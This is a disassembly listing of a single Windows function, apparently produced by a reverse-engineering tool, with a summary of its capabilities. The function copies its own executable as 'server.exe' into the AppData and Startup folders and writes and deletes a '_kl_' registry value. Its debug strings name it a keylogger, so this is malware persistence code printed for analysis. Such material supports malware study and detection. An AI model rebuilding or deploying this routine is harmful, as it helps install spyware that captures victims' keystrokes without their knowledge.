Function at 0x140001320
Capabilities:
Copy file
Delete registry value
Get common file path
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x14003b010]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov eax, dword [0x140036360]
lea rcx, [rbp + 0x390]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x68], eax
xor edx, edx
movzx eax, word [0x140036364]
mov r8d, 0x208
movups xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x6c], ax
call fcn.1400074d0
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x208
call fcn.1400074d0
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x208
call fcn.1400074d0
mov r8d, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001458
mov r9d, 1
lea rdx, [rbp + 0x390]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x390]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001458
lea rax, [rsp + 0x58]
mov edx, 0xc8
lea r9, [rbp + 0x390]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140004130
lea rax, [rbp + 0x180]
lea r8, [rsp + 0x70]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001444
add rax, 2
test ecx, ecx
jne 0x140001430
test edx, edx
jne 0x14000165d
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
mov eax, dword [0x140036360]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x68], eax
xor edx, edx
movzx eax, word [0x140036364]
mov r8d, 0x208
movups xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x6c], ax
call fcn.1400074d0
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x208
call fcn.1400074d0
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0x208
call fcn.1400074d0
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000153b
mov r9d, 1
lea rdx, [rbp + 0x180]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x180]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x14000153b
lea rax, [rsp + 0x58]
mov edx, 0xc8
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x390]
call fcn.140004130
xor r8d, r8d
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400015de
lea rcx, str.test
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001590
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001638
mov rcx, qword [rsp + 0x50]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001638
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
mov eax, 1
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140004270
mov rbx, qword [rsp + 0x6c0]
add rsp, 0x6b0
pop rbp
ret
xor r8d, r8d
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001458
lea rcx, [rsp + 0x70]
call fcn.140004190
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]